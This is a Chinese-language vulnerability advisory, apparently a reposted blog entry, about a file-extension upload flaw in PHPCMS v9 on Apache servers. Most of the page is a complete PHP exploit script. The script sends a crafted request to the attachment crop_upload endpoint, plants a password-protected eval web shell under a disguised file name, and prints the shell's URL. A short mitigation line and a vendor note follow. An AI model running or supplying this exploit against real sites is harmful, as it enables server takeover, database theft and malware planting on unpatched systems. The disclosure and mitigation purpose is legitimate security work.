zoukankan      html  css  js  c++  java
  • PHPCMS v9 文件后缀提取错误代码上传漏洞

    漏洞版本:

    Phpcms 9

    漏洞描述:

    PHPCMS网站管理系统是国内主流CMS系统之一。PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
    
    PHPCMS v9在实现上存在安全漏洞,对上传的文件后缀进行安全限制时,考虑不全,导致在Web服务器为Apache的情况下绕过安全限制。主要代码在文件\phpcms\libs\functions\global.func.php中的fileext函数进行文件后缀提取。攻击者可以通过该漏洞直接上传网站木马控制服务器,最终导致网站“脱库”、“挂马”等严重后果。

    测试方法:

    提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
    1. n3wF ()提供了如下测试方法:
    2. <?php
    3. error_reporting(E_ERROR);
    4. set_time_limit(0);
    5. $pass="ln";
    6. print_r('
    7. +---------------------------------------------------------------------------+
    8. PHPCms V9 GETSHELL 0DAY
    9.  
    10. code by L.N.
    11.  
    12. apache 适用(利用的apache的解析漏洞)
    13. +---------------------------------------------------------------------------+
    14. ');
    15. if($argc <2){
    16. print_r('
    17. +---------------------------------------------------------------------------+
    18. Usage: php '.$argv[0].' url path
    19.  
    20. Example:
    21. 1.php '.$argv[0].' lanu.sinaapp.com
    22. 2.php '.$argv[0].' lanu.sinaapp.com /phpcms
    23. +---------------------------------------------------------------------------+
    24. ');
    25. exit;
    26. }
    27.  
    28. $url = $argv[1];
    29. $path = $argv[2];
    30. $phpshell ='<?php @eval($_POST[\''.$pass.'\']);?>';
    31. $file ='1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
    32. if($ret=Create_dir($url,$path))
    33. {
    34. //echo $ret;
    35. $pattern ="|Server:[^,]+?|U";
    36. preg_match_all($pattern, $ret, $matches);
    37. if($matches[0][0])
    38. {
    39. if(strpos($matches[0][0],'Apache')==false)
    40. {
    41. echo "\n亲!此网站不是apache的网站。\n";exit;
    42. }
    43. }
    44. $ret =GetShell($url,$phpshell,$path,$file);
    45. $pattern ="|http:\/\/[^,]+?\.,?|U";
    46. preg_match_all($pattern, $ret, $matches);
    47. if($matches[0][0])
    48. {
    49. echo "\n".'密码为: '.$pass."\n";
    50. echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
    51. }
    52. else
    53. {
    54. $pattern ="|\/uploadfile\/[^,]+?\.,?|U";
    55. preg_match_all($pattern, $ret, $matches);
    56. if($matches[0][0])
    57. {
    58. echo "\n".'密码为: '.$pass."\n";
    59. echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
    60. }
    61. else
    62. {
    63. echo "\r\n没得到!\n";exit;
    64. }
    65. }
    66. }
    67.  
    68. functionGetShell($url,$shell,$path,$js)
    69. {
    70. $content =$shell;
    71. $data ="POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
    72. $data .="Host: ".$url."\r\n";
    73. $data .="User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
    74. $data .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    75. $data .="Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
    76. $data .="Connection: close\r\n";
    77. $data .="Content-Length: ".strlen($content)."\r\n\r\n";
    78. $data .= $content."\r\n";
    79. $ock=fsockopen($url,80);
    80. if(!$ock)
    81. {
    82. echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
    83. }
    84. else
    85. {
    86. fwrite($ock,$data);
    87. $resp ='';
    88. while(!feof($ock))
    89. {
    90. $resp.=fread($ock,1024);
    91. }
    92. return $resp;
    93. }
    94. }
    95.  
    96. functionCreate_dir($url,$path='')
    97. {
    98. $content ='I love you';
    99. $data ="POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
    100. $data .="Host: ".$url."\r\n";
    101. $data .="User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
    102. $data .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    103. $data .="Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
    104. $data .="Connection: close\r\n";
    105. $data .="Content-Length: ".strlen($content)."\r\n\r\n";
    106. $data .= $content."\r\n";
    107. $ock=fsockopen($url,80);
    108. if(!$ock)
    109. {
    110. echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
    111. }
    112. fwrite($ock,$data);
    113. $resp ='';
    114. while(!feof($ock))
    115. {
    116. $resp.=fread($ock,1024);
    117. }
    118. return $resp;
    119. }
    120. ?>

    安全建议:

    临时解决方法:
    
    如果您不能立刻安装补丁或者升级,建议您采取以下措施以降低威胁:
    
    *可以暂时将文件phpcms\modules\attachment\attachments.php的第104行改为:
    
    if(is_image($_GET['file'])== false || strpos(strtolower($_GET['file']),'.php')!==false) exit();
    
    厂商补丁:
    
    PHPCMS
    ------
    目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
    
    http://www.phpcms.cn/
  • 相关阅读:
    Creating a generic Web Parts for hosting ASP.NET User Controls
    Speed Up SQL Server Apps 提高SQL Server应用程序的运行效率 (Part 1)
    How to use CreateChildContorls method inherited from System.Web.UI.Control
    How to quickly access Web Part Management Page
    SQL Script tips for MS SQL Server
    How to enable single signon service on the SPS
    A brief summary of UML & Rational Rose – Use Case Diagram, Part II
    Borland Together for Visual Studio.Net V2.0 安装问题
    Speed Up SQL Server Apps 提高SQL Server应用程序的运行效率 (Part 2)
    体验ReSharper V1.0 for VS.Net 2003 Part I
  • 原文地址:https://www.cnblogs.com/security4399/p/2953570.html
Copyright © 2011-2022 走看看